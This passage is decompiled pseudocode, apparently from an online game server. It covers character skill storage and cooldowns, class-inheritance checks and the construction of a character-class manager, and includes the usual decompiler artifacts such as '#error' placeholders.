*)&v6[4] = 0i64; v5 = 0; *(_QWORD *)&v6[12] = 0i64; std::vector>::resize( &v2->csl_Skill, charskill->nMaxNum, *(CharaterSkillList::CharSkill *)v6); if ( v2->csl_ToggleSkill._Myfirst ) operator delete(v2->csl_ToggleSkill._Myfirst); v3 = charskill; v2->csl_ToggleSkill._Myfirst = 0; v2->csl_ToggleSkill._Mylast = 0; v2->csl_ToggleSkill._Myend = 0; } charskilla = v5; if ( v3->number > (unsigned __int16)v5 ) { v7 = (int)((char *)&v3[2].chrregnum + 2); do { v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_SkillId = *(_WORD *)(v7 - 7); v8 = (int)&v2->csl_Skill._Myfirst[v2->csl_SkillNumber]; *(_WORD *)(v8 + 8) = *(_WORD *)(v8 + 8) & 0xFFF0 | *(_BYTE *)(v7 - 1) & 0xF; v9 = (int)&v2->csl_Skill._Myfirst[v2->csl_SkillNumber]; *(_WORD *)(v9 + 8) = *(_WORD *)(v9 + 8) & 0xFF0F | 16 * (unsigned __int8)(*(_BYTE *)(v7 - 1) >> 4); v10 = (int)&v2->csl_Skill._Myfirst[v2->csl_SkillNumber]; LOBYTE(v11) = 0; HIBYTE(v11) = *(_BYTE *)v7 & 0xF; *(_WORD *)(v10 + 8) = *(_WORD *)(v10 + 8) & 0xF0FF | v11; v12 = (int)&v2->csl_Skill._Myfirst[v2->csl_SkillNumber]; *(_WORD *)(v12 + 8) = *(_WORD *)(v12 + 8) & 0xFFF | ((unsigned __int8)(*(_BYTE *)v7 >> 4) << 12); v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_Mastery = *(_DWORD *)(v7 + 1); v13 = v2->csl_Skill._Myfirst; v14 = v2->csl_SkillNumber; if ( *(_DWORD *)(v7 - 5) == v5 ) v13[v14].cs_bSave = v5; else v13[v14].cs_bSave = 1; v15 = *(_DWORD *)(v7 - 5) - (unsigned __int64)difftime(cur, *(_DWORD *)(v7 - 11)); if ( v15 < 0 ) v15 = 0; v2->csl_Skill._Myfirst[v2->csl_SkillNumber].cs_EndOfCooltime = clockwatch.cw_CurrTick + 10 * v15; CharaterSkillList::csl_Toggle_Store(v2, *(_WORD *)(v7 - 7)); ++v2->csl_SkillNumber; v7 += 16; ++charskilla; } while ( charskilla < v3->number ); } if ( v2->csl_SkillNumber == v3->nMaxNum ) { CharaterSkillList::csl_CheckDefSkill(v2); std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)v2->csl_Skill._Myfirst, (std::vector >::iterator)v2->csl_Skill._Mylast, v2->csl_Skill._Mylast - v2->csl_Skill._Myfirst, CharaterSkillList::CharSkill::cs_Compare_STLVer); } v16 = "CharaterSkillList::csl_Store"; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_Store : Too many skills", v4); v16 = "CharaterSkillList::csl_Store"; } --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); } //----- (0043E770) -------------------------------------------------------- AttackRhythm::AttackRhythmBase *__thiscall CharClass::cc_AttackRhythm(CharClass *this) { return (AttackRhythm::AttackRhythmBase *)&attrhythm_melee; } //----- (0043E780) -------------------------------------------------------- #error "43E780: undefined or illegal type '#593' (funcsize=7)" //----- (0043E7A0) -------------------------------------------------------- int __thiscall CharClassMob::cc_ClassType(CharClassMob *this) { return 26; } //----- (0043E7B0) -------------------------------------------------------- AttackRhythm::AttackRhythmBase *__thiscall CharClassMob::cc_AttackRhythm(CharClassMob *this) { return (AttackRhythm::AttackRhythmBase *)&attrhythm_mob; } //----- (0043E7C0) -------------------------------------------------------- #error "43E7C0: undefined or illegal type '#593' (funcsize=6)" //----- (0043E7E0) -------------------------------------------------------- bool __thiscall CharClassCleverFighter::cc_IsDescendantsOf(CharClassCleverFighter *this, int classType) { return classType == 1; } //----- (0043E7F0) -------------------------------------------------------- bool __thiscall CharClassWarrior::cc_IsDescendantsOf(CharClassWarrior *this, int classType) { return classType == 1 || classType == 2; } //----- (0043E810) -------------------------------------------------------- bool __thiscall CharClassGladiator::cc_IsDescendantsOf(CharClassKnight *this, int classType) { return classType == 1 || classType == 2 || classType == 3; } //----- (0043E830) -------------------------------------------------------- bool __thiscall CharClassHighCleric::cc_IsDescendantsOf(CharClassHighCleric *this, int classType) { return classType == 6; } //----- (0043E840) -------------------------------------------------------- bool __thiscall CharClassPaladin::cc_IsDescendantsOf(CharClassPaladin *this, int classType) { return classType == 6 || classType == 7; } //----- (0043E860) -------------------------------------------------------- bool __thiscall CharClassHolyKnight::cc_IsDescendantsOf(CharClassGuardian *this, int classType) { return classType == 6 || classType == 7 || classType == 8; } //----- (0043E880) -------------------------------------------------------- AttackRhythm::AttackRhythmBase *__thiscall CharClassArchar::cc_AttackRhythm(CharClassArchar *this) { return (AttackRhythm::AttackRhythmBase *)&attrhythm_range; } //----- (0043E890) -------------------------------------------------------- bool __thiscall CharClassHawkArcher::cc_IsDescendantsOf(CharClassHawkArcher *this, int classType) { return classType == 11; } //----- (0043E8A0) -------------------------------------------------------- int __thiscall CharClassHawkArcher::cc_PromoteClass(ItemAttrCls_BindItem *this) { return 13; } //----- (0043E8B0) -------------------------------------------------------- bool __thiscall CharClassScout::cc_IsDescendantsOf(CharClassScout *this, int classType) { return classType == 11 || classType == 12; } //----- (0043E8D0) -------------------------------------------------------- bool __thiscall CharClassRanger::cc_IsDescendantsOf(CharClassRanger *this, int classType) { return classType == 11 || classType == 12 || classType == 13; } //----- (0043E8F0) -------------------------------------------------------- #error "43E8F0: undefined or illegal type '#615' (funcsize=4)" //----- (0043E900) -------------------------------------------------------- bool __thiscall CharClassWizMage::cc_IsDescendantsOf(CharClassWizMage *this, int classType) { return classType == 16; } //----- (0043E910) -------------------------------------------------------- bool __thiscall CharClassEnchanter::cc_IsDescendantsOf(CharClassEnchanter *this, int classType) { return classType == 16 || classType == 17; } //----- (0043E930) -------------------------------------------------------- void __thiscall CharClassWizMage::_CharClassWizMage(CharClassAssassin *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); } // 63AC70: using guessed type int (__stdcall *CharClass___vftable_[8])(int iti, int IsPutOnBelonged); //----- (0043E940) -------------------------------------------------------- bool __thiscall CharClassWarrock::cc_IsDescendantsOf(CharClassWizard *this, int classType) { return classType == 16 || classType == 17 || classType == 18; } //----- (0043E960) -------------------------------------------------------- bool __thiscall CharClassChaser::cc_IsDescendantsOf(CharClassChaser *this, int classType) { return classType == 21; } //----- (0043E970) -------------------------------------------------------- bool __thiscall CharClassCruel::cc_IsDescendantsOf(CharClassCruel *this, int classType) { return classType == 21 || classType == 22; } //----- (0043E990) -------------------------------------------------------- bool __thiscall CharClassAssassin::cc_IsDescendantsOf(CharClassAssassin *this, int classType) { return classType == 21 || classType == 22 || classType == 23; } //----- (0043E9B0) -------------------------------------------------------- long double __cdecl GetTotalRate(int *a1, int pTargetParameter, float FreeStatValue) { int *v3; // eax@1 float fRate; // [sp+10h] [bp+10h]@0 v3 = a1; return (double)(*(int *)((char *)a1 + pTargetParameter) + LODWORD(FreeStatValue) + *(int *)((char *)a1 + pTargetParameter + 192)) * fRate * (double)*(int *)((char *)v3 + pTargetParameter + 2304) * (double)*(int *)((char *)v3 + pTargetParameter + 1920) * (double)*(int *)((char *)v3 + pTargetParameter + 768) * 0.000000001 + (double)*(int *)((char *)v3 + pTargetParameter + 2112) + (double)*(int *)((char *)v3 + pTargetParameter + 1728) + (double)*(int *)((char *)v3 + pTargetParameter + 1344) + (double)*(int *)((char *)v3 + pTargetParameter + 960); } //----- (0043EA10) -------------------------------------------------------- #error "43EA10: undefined or illegal type '#593' (funcsize=61)" //----- (0043EAD0) -------------------------------------------------------- #error "43EAD0: undefined or illegal type '#593' (funcsize=97)" //----- (0043EC20) -------------------------------------------------------- void __thiscall CharClassManager::CharClassManager(CharClassManager *this) { CharClassManager *v1; // esi@1 v1 = this; OptionReader::OptionReader(&this->ccm_classdefault.baseclass_4); v1->ccm_classdefault.vfptr = (CharClassVtbl *)CharClass::_vftable_; memset32(v1->ccm_classdefault.cc_array, (int)&v1->ccm_classdefault.cc_def, 0x97u); OptionReader::OptionReader(&v1->ccm_classfighter.baseclass_0.baseclass_4); memset32(v1->ccm_classfighter.baseclass_0.cc_array, (int)&v1->ccm_classfighter.baseclass_0.cc_def, 0x97u); v1->ccm_classfighter.baseclass_0.vfptr = (CharClassVtbl *)CharClassFighter::_vftable_; OptionReader::OptionReader(&v1->ccm_classcleverfighter.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classcleverfighter.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classcleverfighter.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classcleverfighter.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassCleverFighter::_vftable_; OptionReader::OptionReader(&v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWarrior::_vftable_; OptionReader::OptionReader(&v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassGladiator::_vftable_; OptionReader::OptionReader(&v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassKnight::_vftable_; OptionReader::OptionReader(&v1->ccm_classcleric.baseclass_0.baseclass_4); memset32(v1->ccm_classcleric.baseclass_0.cc_array, (int)&v1->ccm_classcleric.baseclass_0.cc_def, 0x97u); v1->ccm_classcleric.baseclass_0.vfptr = (CharClassVtbl *)CharClassCleric::_vftable_; OptionReader::OptionReader(&v1->ccm_classhighcleric.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classhighcleric.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classhighcleric.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classhighcleric.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassHighCleric::_vftable_; OptionReader::OptionReader(&v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassPaladin::_vftable_; OptionReader::OptionReader(&v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassHolyKnight::_vftable_; OptionReader::OptionReader(&v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassGuardian::_vftable_; OptionReader::OptionReader(&v1->ccm_classarcher.baseclass_0.baseclass_4); memset32(v1->ccm_classarcher.baseclass_0.cc_array, (int)&v1->ccm_classarcher.baseclass_0.cc_def, 0x97u); v1->ccm_classarcher.baseclass_0.vfptr = (CharClassVtbl *)CharClassArchar::_vftable_; OptionReader::OptionReader(&v1->ccm_classhawkarcher.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classhawkarcher.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classhawkarcher.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classhawkarcher.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassHawkArcher::_vftable_; OptionReader::OptionReader(&v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassScout::_vftable_; OptionReader::OptionReader(&v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassSharpShooter::_vftable_; OptionReader::OptionReader(&v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassRanger::_vftable_; OptionReader::OptionReader(&v1->ccm_classmage.baseclass_0.baseclass_4); memset32(v1->ccm_classmage.baseclass_0.cc_array, (int)&v1->ccm_classmage.baseclass_0.cc_def, 0x97u); v1->ccm_classmage.baseclass_0.vfptr = (CharClassVtbl *)CharClassMage::_vftable_; OptionReader::OptionReader(&v1->ccm_classwizmage.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwizmage.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwizmage.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwizmage.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWizMage::_vftable_; OptionReader::OptionReader(&v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassEnchanter::_vftable_; OptionReader::OptionReader(&v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWarrock::_vftable_; OptionReader::OptionReader(&v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWizard::_vftable_; OptionReader::OptionReader(&v1->ccm_classjoker.baseclass_0.baseclass_4); memset32(v1->ccm_classjoker.baseclass_0.cc_array, (int)&v1->ccm_classjoker.baseclass_0.cc_def, 0x97u); v1->ccm_classjoker.baseclass_0.vfptr = (CharClassVtbl *)CharClassJoker::_vftable_; OptionReader::OptionReader(&v1->ccm_classchaser.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classchaser.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classchaser.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classchaser.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassChaser::_vftable_; OptionReader::OptionReader(&v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassCruel::_vftable_; OptionReader::OptionReader(&v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassCloser::_vftable_; OptionReader::OptionReader(&v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassAssassin::_vftable_; OptionReader::OptionReader(&v1->ccm_classmob.baseclass_0.baseclass_4); memset32(v1->ccm_classmob.baseclass_0.cc_array, (int)&v1->ccm_classmob.baseclass_0.cc_def, 0x97u); v1->ccm_classmob.baseclass_0.vfptr = (CharClassVtbl *)CharClassMob::_vftable_; v1->ccm_array[0] = (CharClass *)v1; v1->ccm_array[1] = (CharClass *)v1; v1->ccm_array[2] = (CharClass *)v1; v1->ccm_array[3] = (CharClass *)v1; v1->ccm_array[4] = (CharClass *)v1; v1->ccm_array[5] = (CharClass *)v1; v1->ccm_array[6] = (CharClass *)v1; v1->ccm_array[7] = (CharClass *)v1; v1->ccm_array[8] = (CharClass *)v1; v1->ccm_array[9] = (CharClass *)v1; v1->ccm_array[10] = (CharClass *)v1; v1->ccm_array[11] = (CharClass *)v1; v1->ccm_array[12] = (CharClass *)v1; v1->ccm_array[13] = (CharClass *)v1; v1->ccm_array[14] = (CharClass *)v1; v1->ccm_array[15] = (CharClass *)v1; v1->ccm_array[16] = (CharClass *)v1; v1->ccm_array[17] = (CharClass *)v1; v1->ccm_array[18] = (CharClass *)v1; v1->ccm_array[19] = (CharClass *)v1; v1->ccm_array[20] = (CharClass *)v1; v1->ccm_array[21] = (CharClass *)v1; v1->ccm_array[22] = (CharClass *)v1; v1->ccm_array[23] = (CharClass *)v1; v1->ccm_array[24] = (CharClass *)v1; v1->ccm_array[25] = (CharClass *)v1; v1->ccm_array[26] = (CharClass *)v1; v1->ccm_array[27] = (CharClass *)v1; v1->ccm_array[28] = (CharClass *)v1; v1->ccm_array[29] = (CharClass *)v1; v1->ccm_array[30] = (CharClass *)v1; v1->ccm_array[31] = (CharClass *)v1; v1->ccm_array[3] = (CharClass *)&v1->ccm_classwarrior; v1->ccm_array[4] = (CharClass *)&v1->ccm_classgladiator; v1->ccm_array[5] = (CharClass *)&v1->ccm_classknight; v1->ccm_array[6] = (CharClass *)&v1->ccm_classcleric; v1->ccm_array[7] = (CharClass *)&v1->ccm_classhighcleric; v1->ccm_array[8] = (CharClass *)&v1->ccm_classpaladin; v1->ccm_array[9] = (CharClass *)&v1->ccm_classholyknight; v1->ccm_array[10] = (CharClass *)&v1->ccm_classguardian; v1->ccm_array[11] = (CharClass *)&v1->ccm_classarcher; v1->ccm_array[12] = (CharClass *)&v1->ccm_classhawkarcher; v1->ccm_array[13] = (CharClass *)&v1->ccm_classscout; v1->ccm_array[14] = (CharClass *)&v1->ccm_classsharpshooter; v1->ccm_array[15] = (CharClass *)&v1->ccm_classranger; v1->ccm_array[16] = (CharClass *)&v1->ccm_classmage; v1->ccm_array[17] = (CharClass *)&v1->ccm_classwizmage; v1->ccm_array[18] = (CharClass *)&v1->ccm_classenchanter; v1->ccm_array[19] = (CharClass *)&v1->ccm_classwarrock; v1->ccm_array[20] = (CharClass *)&v1->ccm_classwizard; v1->ccm_array[21] = (CharClass *)&v1->ccm_classjoker; v1->ccm_array[1] = (CharClass *)&v1->ccm_classfighter; v1->ccm_array[2] = (CharClass *)&v1->ccm_classcleverfighter; v1->ccm_array[22] = (CharClass *)&v1->ccm_classchaser; v1->ccm_array[23] = (CharClass *)&v1->ccm_classcruel; v1->ccm_array[24] = (CharClass *)&v1->ccm_classcloser; v1->ccm_array[26] = (CharClass *)&v1->ccm_classmob; v1->ccm_array[25] = (CharClass *)&v1->ccm_classassassin; } // 63AC70: using guessed type int (__stdcall *CharClass___vftable_[8])(int iti, int IsPutOnBelonged); // 63ACC0: using guessed type int (__stdcall *CharClassMob___vftable_[8])(int iti, int IsPutOnBelonged); // 63AD10: using guessed type int (__stdcall *CharClassFighter___vftable_[8])(int iti, int IsPutOnBelonged); // 63AD60: using guessed type int (__stdcall *CharClassCleverFighter___vftable_[8])(int iti, int IsPutOnBelonged); // 63ADB0: using guessed type int (__stdcall *CharClassWarrior___vftable_[8])(int iti, int IsPutOnBelonged); // 63AE00: using guessed type int (__stdcall *CharClassGladiator___vftable_[8])(int iti, int IsPutOnBelonged); // 63AE50: using guessed type int (__stdcall *CharClassKnight___vftable_[8])(int iti, int IsPutOnBelonged); // 63AEA0: using guessed type int (__stdcall *CharClassCleric___vftable_[8])(int iti, int IsPutOnBelonged); // 63AEF0: using guessed type int (__stdcall *CharClassHighCleric___vftable_[8])(int iti, int IsPutOnBelonged); // 63AF40: using guessed type int (__stdcall *CharClassPaladin___vftable_[8])(int iti, int IsPutOnBelonged); // 63AF90: using guessed type int (__stdcall *CharClassHolyKnight___vftable_[8])(int iti, int IsPutOnBelonged); // 63AFE0: using guessed type int (__stdcall *CharClassGuardian___vftable_[8])(int iti, int IsPutOnBelonged); // 63B030: using guessed type int (__stdcall *CharClassArchar___vftable_[8])(int iti, int IsPutOnBelonged); // 63B080: using guessed type int (__stdcall *CharClassHawkArcher___vftable_[8])(int iti, int IsPutOnBelonged); // 63B0D0: using guessed type int (__stdcall *CharClassScout___vftable_[8])(int iti, int IsPutOnBelonged); // 63B120: using guessed type int (__stdcall *CharClassSharpShooter___vftable_[8])(int iti, int IsPutOnBelonged); // 63B170: using guessed type int (__stdcall *CharClassRanger___vftable_[8])(int iti, int IsPutOnBelonged); // 63B1C0: using guessed type int (__stdcall *CharClassMage___vftable_[8])(int iti, int IsPutOnBelonged); // 63B210: using guessed type int (__stdcall *CharClassWizMage___vftable_[8])(int iti, int IsPutOnBelonged); // 63B260: using guessed type int (__stdcall *CharClassEnchanter___vftable_[8])(int iti, int IsPutOnBelonged); // 63B2B0: using guessed type int (__stdcall *CharClassWarrock___vftable_[8])(int iti, int IsPutOnBelonged); // 63B300: using guessed type int (__stdcall *CharClassWizard___vftable_[8])(int iti, int IsPutOnBelonged); // 63B350: using guessed type int (__stdcall *CharClassJoker___vftable_[8])(int iti, int IsPutOnBelonged); // 63B3A0: using guessed type int (__stdcall *CharClassChaser___vftable_[8])(int iti, int IsPutOnBelonged); // 63B3F0: using guessed type int (__stdcall *CharClassCruel___vftable_[8])(int iti, int IsPutOnBelonged); // 63B440: using guessed type int (__stdcall *CharClassCloser___vftable_[8])(int iti, int IsPutOnBelonged); // 63B490: using guessed type int (__stdcall *CharClassAssassin___vftable_[8])(int iti, int IsPutOnBelonged); //----- (0043F300) -------------------------------------------------------- void __thiscall CharClassManager::_CharClassManager(CharClassManager *this) { CharClassManager *v1; // esi@1 v1 = this; this->ccm_classmob.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&this->ccm_classmob.baseclass_0.baseclass_4); v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classassassin.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcloser.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcruel.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classchaser.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classchaser.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classjoker.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classjoker.baseclass_0.baseclass_4); v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classwizmage.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwizmage.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classmage.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classmage.baseclass_0.baseclass_4); v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classhawkarcher.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classhawkarcher.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classarcher.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classarcher.baseclass_0.baseclass_4); v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classhighcleric.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classhighcleric.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcleric.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcleric.baseclass_0.baseclass_4); v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); 